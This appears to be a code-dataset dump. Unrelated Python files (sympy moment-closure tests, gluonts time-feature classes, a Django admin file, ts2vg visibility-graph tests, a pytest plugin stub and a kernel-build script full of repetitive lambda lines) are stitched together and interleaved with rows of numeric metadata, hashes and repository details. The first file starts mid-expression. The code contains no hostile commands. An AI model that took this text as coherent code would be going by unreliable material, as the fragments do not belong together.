["-(-c_1*c_6 ** 4*y_0 ** 4*y_2+2*c_1*c_6 ** 4*y_0 ** 3*y_2*yx7-c_0*c_6 ** 4*y_0 ** 3*y_2-4*c_1*c_6 ** 3*y_0 ** 5*y_2-c_2*c_6 ** 3*y_0 ** 4*y_2 ** 2+2*c_2*c_6 ** 3*y_0 ** 4*y_2*yx5+8*c_1*c_6 ** 3*y_0 ** 4*y_2*yx7-4*c_0*c_6 ** 3*y_0 ** 4*y_2+2*c_2*c_6 ** 3*y_0 ** 3*y_2 ** 2*yx7-c_2*c_6 ** 3*y_0 ** 3*y_2*yx5+2*c_2*c_6 ** 3*y_0 ** 3*yx5 ** 2+4*c_2*c_6 ** 3*y_0 ** 2*y_2*yx5*yx7+2*c_2*c_6 ** 3*y_0*yx5 ** 2*yx7-6*c_1*c_6 ** 2*y_0 ** 6*y_2-3*c_2*c_6 ** 2*y_0 ** 5*y_2 ** 2+6*c_2*c_6 ** 2*y_0 ** 5*y_2*yx5+12*c_1*c_6 ** 2*y_0 ** 5*y_2*yx7-6*c_0*c_6 ** 2*y_0 ** 5*y_2+4*c_2*c_6 ** 2*y_0 ** 4*y_2 ** 2*yx7-2*c_2*c_6 ** 2*y_0 ** 4*y_2*yx5+4*c_2*c_6 ** 2*y_0 ** 4*yx5 ** 2+c_2*c_6 ** 2*y_0 ** 3*y_2 ** 2*yx7+8*c_2*c_6 ** 2*y_0 ** 3*y_2*yx5*yx7+c_2*c_6 ** 2*y_0 ** 3*yx5 ** 2-6*c_2*c_6 ** 2*y_0 ** 2*y_2 ** 2*yx7 ** 2+2*c_2*c_6 ** 2*y_0 ** 2*y_2*yx5*yx7+4*c_2*c_6 ** 2*y_0 ** 2*yx5 ** 2*yx7+c_2*c_6 ** 2*y_0*yx5 ** 2*yx7-2*c_2*c_6 ** 2*y_2 ** 2*yx7 ** 3-4*c_1*c_6*y_0 ** 7*y_2-3*c_2*c_6*y_0 ** 6*y_2 ** 2+6*c_2*c_6*y_0 ** 6*y_2*yx5+8*c_1*c_6*y_0 ** 6*y_2*yx7-4*c_0*c_6*y_0 ** 6*y_2+2*c_2*c_6*y_0 ** 5*y_2 ** 2*yx7-c_2*c_6*y_0 ** 5*y_2*yx5+2*c_2*c_6*y_0 ** 5*yx5 ** 2+c_2*c_6*y_0 ** 4*y_2 ** 2*yx7+4*c_2*c_6*y_0 ** 4*y_2*yx5*yx7+c_2*c_6*y_0 ** 4*yx5 ** 2-6*c_2*c_6*y_0 ** 3*y_2 ** 2*yx7 ** 2+2*c_2*c_6*y_0 ** 3*y_2*yx5*yx7+2*c_2*c_6*y_0 ** 3*yx5 ** 2*yx7-3*c_2*c_6*y_0 ** 2*y_2 ** 2*yx7 ** 2+c_2*c_6*y_0 ** 2*yx5 ** 2*yx7-2*c_2*c_6*y_0*y_2 ** 2*yx7 ** 3-c_2*c_6*y_2 ** 2*yx7 ** 3-c_1*y_0 ** 8*y_2-c_2*y_0 ** 7*y_2 ** 2+2*c_2*y_0 ** 7*y_2*yx5+2*c_1*y_0 ** 7*y_2*yx7-c_0*y_0 ** 7*y_2)/(y_0 ** 3*y_2*(c_6+y_0) ** 4)"]
])
closer = LogNormalClosure(max_order,multivariate=True)
answer = closer.close(self.__mfk, central_from_raw_exprs, self.__n_counter, self.__k_counter)
#print (answer -expected).applyfunc(sympy.simplify)
self.assertTrue(sympy_expressions_equal(answer, expected))
def test_log_normal_closer_wrapper_univariate(self):
central_from_raw_exprs = to_sympy_matrix(
[["x_0_0_2-y_2**2"],
["x_0_1_1-y_1*y_2"],
["x_0_2_0-y_1**2"],
["x_1_0_1-y_0*y_2"],
["x_1_1_0-y_0*y_1"],
["x_2_0_0-y_0**2"],
["-3*x_0_0_2*y_2+x_0_0_3+2*y_2**3"],
["-x_0_0_2*y_1-2*x_0_1_1*y_2+x_0_1_2+2*y_1*y_2**2"],
["-2*x_0_1_1*y_1-x_0_2_0*y_2+x_0_2_1+2*y_1**2*y_2"],
["-3*x_0_2_0*y_1+x_0_3_0+2*y_1**3"],
["-x_0_0_2*y_0-2*x_1_0_1*y_2+x_1_0_2+2*y_0*y_2**2"],
["-x_0_1_1*y_0-x_1_0_1*y_1-x_1_1_0*y_2+x_1_1_1+2*y_0*y_1*y_2"],
["-x_0_2_0*y_0-2*x_1_1_0*y_1+x_1_2_0+2*y_0*y_1**2"],
["-2*x_1_0_1*y_0-x_2_0_0*y_2+x_2_0_1+2*y_0**2*y_2"],
["-2*x_1_1_0*y_0-x_2_0_0*y_1+x_2_1_0+2*y_0**2*y_1"],
["-3*x_2_0_0*y_0+x_3_0_0+2*y_0**3"]
])
max_order = 2
expected = to_sympy_matrix([
["c_0-c_1*y_0-(c_2*c_6*yx5)/(c_6+y_0) ** 2-(c_2*y_0*y_2)/(c_6+y_0)+(c_2*c_6*y_2*yx7)/(c_6+y_0) ** 3-(c_2*c_6*y_2*yx7 ** 2*(3*y_0 ** 2+yx7))/(y_0 ** 3*(c_6+y_0) ** 4)"],
["c_3*y_0-c_4*y_1"],
["c_4*y_1-c_5*y_2"],
["c_4*y_1+c_5*y_2+2*c_4*yx3-2*c_5*yx2"],
["c_3*yx5-c_4*yx3-c_4*y_1+c_4*yx4-c_5*yx3"],
["c_3*y_0+c_4*y_1-2*c_4*yx4+2*c_3*yx6"],
["c_4*yx6-c_1*yx5-c_5*yx5-(c_2*y_0*yx2)/(c_6+y_0)-(c_2*y_2*yx5)/(c_6+y_0)+(c_2*y_0*y_2*yx5)/(c_6+y_0) ** 2"],
["c_3*yx7-c_1*yx6-c_4*yx6-(c_2*y_0*yx3)/(c_6+y_0)-(c_2*y_2*yx6)/(c_6+y_0)+(c_2*y_0*y_2*yx6)/(c_6+y_0) ** 2"],
["(c_0*y_0 ** 7+c_1*y_0 ** 8+c_2*y_0 ** 7*y_2-2*c_2*y_0 ** 7*yx5-2*c_1*y_0 ** 7*yx7+6*c_0*c_6 ** 2*y_0 ** 5+4*c_0*c_6 ** 3*y_0 ** 4+c_0*c_6 ** 4*y_0 ** 3+6*c_1*c_6 ** 2*y_0 ** 6+4*c_1*c_6 ** 3*y_0 ** 5+c_1*c_6 ** 4*y_0 ** 4+4*c_0*c_6*y_0 ** 6+4*c_1*c_6*y_0 ** 7+3*c_2*c_6*y_0 ** 6*y_2+c_2*c_6*y_0 ** 5*yx5-6*c_2*c_6*y_0 ** 6*yx5-8*c_1*c_6*y_0 ** 6*yx7+c_2*c_6*y_2*yx7 ** 3+3*c_2*c_6 ** 2*y_0 ** 5*y_2+c_2*c_6 ** 3*y_0 ** 4*y_2+2*c_2*c_6 ** 2*y_0 ** 4*yx5+c_2*c_6 ** 3*y_0 ** 3*yx5-6*c_2*c_6 ** 2*y_0 ** 5*yx5-2*c_2*c_6 ** 3*y_0 ** 4*yx5-12*c_1*c_6 ** 2*y_0 ** 5*yx7-8*c_1*c_6 ** 3*y_0 ** 4*yx7-2*c_1*c_6 ** 4*y_0 ** 3*yx7+2*c_2*c_6 ** 2*y_2*yx7 ** 3+3*c_2*c_6*y_0 ** 2*y_2*yx7 ** 2+6*c_2*c_6*y_0 ** 3*y_2*yx7 ** 2-c_2*c_6 ** 2*y_0 ** 3*y_2*yx7-4*c_2*c_6 ** 2*y_0 ** 4*y_2*yx7-2*c_2*c_6 ** 3*y_0 ** 3*y_2*yx7+6*c_2*c_6 ** 2*y_0 ** 2*y_2*yx7 ** 2+2*c_2*c_6*y_0*y_2*yx7 ** 3-c_2*c_6*y_0 ** 4*y_2*yx7-2*c_2*c_6*y_0 ** 5*y_2*yx7)/(y_0 ** 3*(c_6+y_0) ** 4)"]
])
#here, we set univariate!
closer = LogNormalClosure(max_order, multivariate=False)
answer = closer.close(self.__mfk, central_from_raw_exprs, self.__n_counter, self.__k_counter)
self.assertTrue(sympy_expressions_equal(answer, expected))
| 74.0131
| 1,623
| 0.54959
| 4,432
| 16,949
| 1.729468
| 0.025496
| 0.096804
| 0.051272
| 0.064188
| 0.837312
| 0.781996
| 0.740248
| 0.574168
| 0.511155
| 0.410828
| 0
| 0.193776
| 0.205617
| 16,949
| 229
| 1,624
| 74.0131
| 0.37552
| 0.037406
| 0
| 0.397849
| 0
| 0.145161
| 0.582004
| 0.209028
| 0
| 0
| 0
| 0
| 0.043011
| 1
| 0.037634
| false
| 0
| 0.032258
| 0
| 0.091398
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
02e7afdaa5b83684bee39d5faef01b5b88c163d8
| 12
|
py
|
Python
|
example/test1.py
|
sano-jin/go-in-ocaml
|
b5e5fca33e194776477a0db389f6e52bdc0a66fe
|
[
"MIT"
] | 1
|
2021-09-24T10:25:40.000Z
|
2021-09-24T10:25:40.000Z
|
example/test1.py
|
sano-jin/go-in-ocaml
|
b5e5fca33e194776477a0db389f6e52bdc0a66fe
|
[
"MIT"
] | null | null | null |
example/test1.py
|
sano-jin/go-in-ocaml
|
b5e5fca33e194776477a0db389f6e52bdc0a66fe
|
[
"MIT"
] | null | null | null |
x = 3
x + 2
| 4
| 5
| 0.333333
| 4
| 12
| 1
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 0.5
| 12
| 2
| 6
| 6
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
02ee82d7120f5ede21869eb2119ed893e5160d09
| 1,873
|
py
|
Python
|
ml_challenge/gluonts/time_feature.py
|
fernandocamargoai/ml-challenge-2021
|
7ae082aeb2fe7674956e309afedbd25464d71525
|
[
"MIT"
] | 1
|
2021-11-24T19:06:38.000Z
|
2021-11-24T19:06:38.000Z
|
ml_challenge/gluonts/time_feature.py
|
fernandocamargoai/ml-challenge-2021
|
7ae082aeb2fe7674956e309afedbd25464d71525
|
[
"MIT"
] | null | null | null |
ml_challenge/gluonts/time_feature.py
|
fernandocamargoai/ml-challenge-2021
|
7ae082aeb2fe7674956e309afedbd25464d71525
|
[
"MIT"
] | null | null | null |
import math
import numpy as np
import pandas as pd
from gluonts.time_feature import (
DayOfWeekIndex,
DayOfMonthIndex,
DayOfYearIndex,
WeekOfYearIndex,
)
class DayOfWeekSin(DayOfWeekIndex):
def __call__(self, index: pd.DatetimeIndex) -> np.ndarray:
day_of_week = super().__call__(index)
return np.sin(day_of_week * (2.0 * math.pi / 6))
class DayOfWeekCos(DayOfWeekIndex):
def __call__(self, index: pd.DatetimeIndex) -> np.ndarray:
day_of_week = super().__call__(index)
return np.cos(day_of_week * (2.0 * math.pi / 6))
class DayOfMonthSin(DayOfMonthIndex):
def __call__(self, index: pd.DatetimeIndex) -> np.ndarray:
day_of_month = super().__call__(index)
return np.sin(day_of_month * (2.0 * math.pi / (index.days_in_month - 1)))
class DayOfMonthCos(DayOfMonthIndex):
def __call__(self, index: pd.DatetimeIndex) -> np.ndarray:
day_of_month = super().__call__(index)
return np.cos(day_of_month * (2.0 * math.pi / (index.days_in_month - 1)))
class DayOfYearSin(DayOfYearIndex):
def __call__(self, index: pd.DatetimeIndex) -> np.ndarray:
day_of_year = super().__call__(index)
return np.sin(day_of_year * (2.0 * math.pi / 365))
class DayOfYearCos(DayOfYearIndex):
def __call__(self, index: pd.DatetimeIndex) -> np.ndarray:
day_of_year = super().__call__(index)
return np.cos(day_of_year * (2.0 * math.pi / 365))
class WeekOfYearSin(WeekOfYearIndex):
def __call__(self, index: pd.DatetimeIndex) -> np.ndarray:
week_of_year = super().__call__(index)
return np.sin(week_of_year * (2.0 * math.pi / 52))
class WeekOfYearCos(WeekOfYearIndex):
def __call__(self, index: pd.DatetimeIndex) -> np.ndarray:
week_of_year = super().__call__(index)
return np.cos(week_of_year * (2.0 * math.pi / 52))
| 31.745763
| 81
| 0.675921
| 251
| 1,873
| 4.641434
| 0.191235
| 0.051502
| 0.075536
| 0.109871
| 0.796567
| 0.796567
| 0.796567
| 0.796567
| 0.741631
| 0.659227
| 0
| 0.019934
| 0.196476
| 1,873
| 58
| 82
| 32.293103
| 0.754153
| 0
| 0
| 0.390244
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.195122
| false
| 0
| 0.097561
| 0
| 0.682927
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 6
|
b828da2915c37aa005a1a8a68d5b6cae5bf3d14a
| 157
|
py
|
Python
|
awards/myusers/admin.py
|
dan-mutua/djangowk3
|
9af2651ade9b7cd9c02ee1f93dc60c4f9ea1adeb
|
[
"MIT"
] | null | null | null |
awards/myusers/admin.py
|
dan-mutua/djangowk3
|
9af2651ade9b7cd9c02ee1f93dc60c4f9ea1adeb
|
[
"MIT"
] | null | null | null |
awards/myusers/admin.py
|
dan-mutua/djangowk3
|
9af2651ade9b7cd9c02ee1f93dc60c4f9ea1adeb
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from myusers.models import Profile
from .models import Profile
# Register your models here.
admin.site.register(Profile)
| 17.444444
| 34
| 0.808917
| 22
| 157
| 5.772727
| 0.545455
| 0.188976
| 0.299213
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.133758
| 157
| 8
| 35
| 19.625
| 0.933824
| 0.165605
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
b84351ef5c000fb38d134d862757b950c9bc7067
| 9,195
|
py
|
Python
|
tests/test_natural_vg.py
|
CarlosBergillos/ts2vg
|
0b245db1f8b8083794a9a516ec693062ddbdd7e0
|
[
"MIT"
] | 14
|
2020-06-20T16:02:21.000Z
|
2022-03-04T17:37:40.000Z
|
tests/test_natural_vg.py
|
CarlosBergillos/ts2vg
|
0b245db1f8b8083794a9a516ec693062ddbdd7e0
|
[
"MIT"
] | 3
|
2021-04-15T12:18:47.000Z
|
2022-02-03T06:10:06.000Z
|
tests/test_natural_vg.py
|
CarlosBergillos/ts2vg
|
0b245db1f8b8083794a9a516ec693062ddbdd7e0
|
[
"MIT"
] | 4
|
2021-08-23T17:25:10.000Z
|
2022-03-28T13:08:26.000Z
|
from math import sqrt, atan
import pytest
from pytest import approx
import ts2vg
import numpy as np
@pytest.fixture
def empty_ts():
return []
@pytest.fixture
def sample_ts():
return [3.0, 4.0, 2.0, 1.0]
def test_basic(sample_ts):
out_got = ts2vg.NaturalVG().build(sample_ts).edges
out_truth = [
(0, 1),
(1, 2),
(1, 3),
(2, 3),
]
assert sorted(sorted(e) for e in out_got) == sorted(sorted(e) for e in out_truth)
def test_left_to_right(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right').build(sample_ts).edges
out_truth = [
(0, 1),
(1, 2),
(1, 3),
(2, 3),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='distance').build(sample_ts).edges
out_truth = [
(0, 1, approx(sqrt(2.))),
(1, 2, approx(sqrt(5.))),
(1, 3, approx(sqrt(13.))),
(2, 3, approx(sqrt(2.))),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_sq_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='sq_distance').build(sample_ts).edges
out_truth = [
(0, 1, approx(2.)),
(1, 2, approx(5.)),
(1, 3, approx(13.)),
(2, 3, approx(2.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_v_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='v_distance').build(sample_ts).edges
out_truth = [
(0, 1, approx(1.)),
(1, 2, approx(-2.)),
(1, 3, approx(-3.)),
(2, 3, approx(-1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_abs_v_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='abs_v_distance').build(sample_ts).edges
out_truth = [
(0, 1, approx(1.)),
(1, 2, approx(2.)),
(1, 3, approx(3.)),
(2, 3, approx(1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_h_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='h_distance').build(sample_ts).edges
out_truth = [
(0, 1, approx(1.)),
(1, 2, approx(1.)),
(1, 3, approx(2.)),
(2, 3, approx(1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_abs_h_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='abs_h_distance').build(sample_ts).edges
out_truth = [
(0, 1, approx(1.)),
(1, 2, approx(1.)),
(1, 3, approx(2.)),
(2, 3, approx(1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_slope(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='slope').build(sample_ts).edges
out_truth = [
(0, 1, approx(1.)),
(1, 2, approx(-2.)),
(1, 3, approx(-1.5)),
(2, 3, approx(-1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_abs_slope(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='abs_slope').build(sample_ts).edges
out_truth = [
(0, 1, approx(1.)),
(1, 2, approx(2.)),
(1, 3, approx(1.5)),
(2, 3, approx(1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_angle(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='angle').build(sample_ts).edges
out_truth = [
(0, 1, approx(atan(1.))),
(1, 2, approx(atan(-2.))),
(1, 3, approx(atan(-1.5))),
(2, 3, approx(atan(-1.))),
]
assert sorted(out_got) == sorted(out_truth)
def test_left_to_right_abs_angle(sample_ts):
out_got = ts2vg.NaturalVG(directed='left_to_right', weighted='abs_angle').build(sample_ts).edges
out_truth = [
(0, 1, approx(atan(1.))),
(1, 2, approx(atan(2.))),
(1, 3, approx(atan(1.5))),
(2, 3, approx(atan(1.))),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom').build(sample_ts).edges
out_truth = [
(1, 0),
(1, 2),
(1, 3),
(2, 3),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='distance').build(sample_ts).edges
out_truth = [
(1, 0, approx(sqrt(2.))),
(1, 2, approx(sqrt(5.))),
(1, 3, approx(sqrt(13.))),
(2, 3, approx(sqrt(2.))),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_sq_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='sq_distance').build(sample_ts).edges
out_truth = [
(1, 0, approx(2.)),
(1, 2, approx(5.)),
(1, 3, approx(13.)),
(2, 3, approx(2.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_v_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='v_distance').build(sample_ts).edges
out_truth = [
(1, 0, approx(-1.)),
(1, 2, approx(-2.)),
(1, 3, approx(-3.)),
(2, 3, approx(-1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_abs_v_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='abs_v_distance').build(sample_ts).edges
out_truth = [
(1, 0, approx(1.)),
(1, 2, approx(2.)),
(1, 3, approx(3.)),
(2, 3, approx(1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_h_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='h_distance').build(sample_ts).edges
out_truth = [
(1, 0, approx(-1.)),
(1, 2, approx(1.)),
(1, 3, approx(2.)),
(2, 3, approx(1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_abs_h_distance(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='abs_h_distance').build(sample_ts).edges
out_truth = [
(1, 0, approx(1.)),
(1, 2, approx(1.)),
(1, 3, approx(2.)),
(2, 3, approx(1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_slope(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='slope').build(sample_ts).edges
out_truth = [
(1, 0, approx(1.)),
(1, 2, approx(-2.)),
(1, 3, approx(-1.5)),
(2, 3, approx(-1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_abs_slope(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='abs_slope').build(sample_ts).edges
out_truth = [
(1, 0, approx(1.)),
(1, 2, approx(2.)),
(1, 3, approx(1.5)),
(2, 3, approx(1.)),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_angle(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='angle').build(sample_ts).edges
out_truth = [
(1, 0, approx(atan(1.))),
(1, 2, approx(atan(-2.))),
(1, 3, approx(atan(-1.5))),
(2, 3, approx(atan(-1.))),
]
assert sorted(out_got) == sorted(out_truth)
def test_top_to_bottom_abs_angle(sample_ts):
out_got = ts2vg.NaturalVG(directed='top_to_bottom', weighted='abs_angle').build(sample_ts).edges
out_truth = [
(1, 0, approx(atan(1.))),
(1, 2, approx(atan(2.))),
(1, 3, approx(atan(1.5))),
(2, 3, approx(atan(1.))),
]
assert sorted(out_got) == sorted(out_truth)
def test_adjacency_matrix(sample_ts):
out_got = ts2vg.NaturalVG().build(sample_ts).adjacency_matrix(triangle='upper')
out_truth = [
[0, 1, 0, 0],
[0, 0, 1, 1],
[0, 0, 0, 1],
[0, 0, 0, 0],
]
np.testing.assert_array_equal(out_got, out_truth)
def test_degrees(sample_ts):
out_got = ts2vg.NaturalVG().build(sample_ts).degrees
out_truth = [1, 3, 2, 2]
np.testing.assert_array_equal(out_got, out_truth)
def test_not_built():
with pytest.raises(ts2vg.graph.base.NotBuiltError):
ts2vg.NaturalVG().edges
def test_empty_ts(empty_ts):
out_got = ts2vg.NaturalVG().build(empty_ts).edges
out_truth = []
assert out_got == out_truth
def test_with_xs(sample_ts):
xs = [0., 1., 2., 2.1]
out_got = ts2vg.NaturalVG().build(sample_ts, xs=xs).edges
out_truth = [
(0, 1),
(1, 2),
(2, 3),
]
assert sorted(sorted(e) for e in out_got) == sorted(sorted(e) for e in out_truth)
def test_with_incompatible_xs(sample_ts):
xs = [0., 1., 2., 3., 4., 5., 6.]
with pytest.raises(ValueError):
ts2vg.NaturalVG().build(sample_ts, xs=xs)
def test_with_non_monotonic_increasing_xs(sample_ts):
xs = [0., 4., 2., 3.]
with pytest.raises(ValueError):
ts2vg.NaturalVG().build(sample_ts, xs=xs)
| 24.261214
| 105
| 0.59478
| 1,362
| 9,195
| 3.753304
| 0.053598
| 0.089202
| 0.071205
| 0.105634
| 0.919601
| 0.915493
| 0.903756
| 0.885172
| 0.879695
| 0.856612
| 0
| 0.050701
| 0.232083
| 9,195
| 378
| 106
| 24.325397
| 0.673276
| 0
| 0
| 0.576471
| 0
| 0
| 0.052311
| 0
| 0
| 0
| 0
| 0
| 0.105882
| 1
| 0.12549
| false
| 0
| 0.019608
| 0.007843
| 0.152941
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
b85c8c1ad3a173546542f638020bdb847a007520
| 235
|
py
|
Python
|
pytest_chainmaker/plugin.py
|
hanzhichao/pytest-chainmaker
|
cdc1e4622ae5be2178ffbe6226f3c6b4c40be362
|
[
"MIT"
] | null | null | null |
pytest_chainmaker/plugin.py
|
hanzhichao/pytest-chainmaker
|
cdc1e4622ae5be2178ffbe6226f3c6b4c40be362
|
[
"MIT"
] | null | null | null |
pytest_chainmaker/plugin.py
|
hanzhichao/pytest-chainmaker
|
cdc1e4622ae5be2178ffbe6226f3c6b4c40be362
|
[
"MIT"
] | null | null | null |
from configparser import ConfigParser
import pytest
def pytest_addoption(parser):
pass
@pytest.fixture(scope='session')
def contract(request):
pass
@pytest.fixture(scope='session')
def block(request, conf):
pass
| 13.055556
| 37
| 0.723404
| 28
| 235
| 6.035714
| 0.535714
| 0.213018
| 0.201183
| 0.260355
| 0.378698
| 0.378698
| 0
| 0
| 0
| 0
| 0
| 0
| 0.174468
| 235
| 17
| 38
| 13.823529
| 0.871134
| 0
| 0
| 0.5
| 0
| 0
| 0.059574
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0.3
| 0.2
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 6
|
b273ff756a6ad19784f884fe81ccd8ac6c469357
| 18,175
|
py
|
Python
|
lib/build.py
|
hexa-one/mainline-builder
|
9be79efcc9c6d3b98d8868017631531b56656cef
|
[
"MIT"
] | null | null | null |
lib/build.py
|
hexa-one/mainline-builder
|
9be79efcc9c6d3b98d8868017631531b56656cef
|
[
"MIT"
] | 1
|
2021-05-23T09:28:58.000Z
|
2021-05-23T09:31:33.000Z
|
lib/build.py
|
hexa-one/mainline-builder
|
9be79efcc9c6d3b98d8868017631531b56656cef
|
[
"MIT"
] | null | null | null |
import os
from .check_type import KERNEL_VER_INPUT
from .definition_script import *
from .get_url import *
def buildmain():
os.chdir('../../catalog')
if os.path.exists(KERNEL_VER_INPUT):
os.remove((KERNEL_VER_INPUT) + '/install.sh')
os.remove((KERNEL_VER_INPUT) + '/README.md')
os.rmdir(KERNEL_VER_INPUT)
os.mkdir(KERNEL_VER_INPUT)
else:
os.mkdir(KERNEL_VER_INPUT)
os.chdir(KERNEL_VER_INPUT)
out = open("install.sh", 'w')
head1 = lambda *x, **y: print(*x, **y, file=out)
head2 = lambda *x, **y: print(*x, **y, file=out)
head3 = lambda *x, **y: print(*x, **y, file=out)
head4 = lambda *x, **y: print(*x, **y, file=out)
head5 = lambda *x, **y: print(*x, **y, file=out)
head6 = lambda *x, **y: print(*x, **y, file=out)
head7 = lambda *x, **y: print(*x, **y, file=out)
head8 = lambda *x, **y: print(*x, **y, file=out)
head9 = lambda *x, **y: print(*x, **y, file=out)
head10 = lambda *x, **y: print(*x, **y, file=out)
head11 = lambda *x, **y: print(*x, **y, file=out)
head12 = lambda *x, **y: print(*x, **y, file=out)
head13 = lambda *x, **y: print(*x, **y, file=out)
head14 = lambda *x, **y: print(*x, **y, file=out)
head15 = lambda *x, **y: print(*x, **y, file=out)
head16 = lambda *x, **y: print(*x, **y, file=out)
head17 = lambda *x, **y: print(*x, **y, file=out)
head18 = lambda *x, **y: print(*x, **y, file=out)
head19 = lambda *x, **y: print(*x, **y, file=out)
head20 = lambda *x, **y: print(*x, **y, file=out)
head21 = lambda *x, **y: print(*x, **y, file=out)
head22 = lambda *x, **y: print(*x, **y, file=out)
head23 = lambda *x, **y: print(*x, **y, file=out)
head24 = lambda *x, **y: print(*x, **y, file=out)
head25 = lambda *x, **y: print(*x, **y, file=out)
head26 = lambda *x, **y: print(*x, **y, file=out)
head27 = lambda *x, **y: print(*x, **y, file=out)
head28 = lambda *x, **y: print(*x, **y, file=out)
head29 = lambda *x, **y: print(*x, **y, file=out)
head30 = lambda *x, **y: print(*x, **y, file=out)
head31 = lambda *x, **y: print(*x, **y, file=out)
head32 = lambda *x, **y: print(*x, **y, file=out)
head33 = lambda *x, **y: print(*x, **y, file=out)
head34 = lambda *x, **y: print(*x, **y, file=out)
head35 = lambda *x, **y: print(*x, **y, file=out)
head36 = lambda *x, **y: print(*x, **y, file=out)
head37 = lambda *x, **y: print(*x, **y, file=out)
head38 = lambda *x, **y: print(*x, **y, file=out)
head39 = lambda *x, **y: print(*x, **y, file=out)
head40 = lambda *x, **y: print(*x, **y, file=out)
head41 = lambda *x, **y: print(*x, **y, file=out)
head42 = lambda *x, **y: print(*x, **y, file=out)
head43 = lambda *x, **y: print(*x, **y, file=out)
head44 = lambda *x, **y: print(*x, **y, file=out)
head45 = lambda *x, **y: print(*x, **y, file=out)
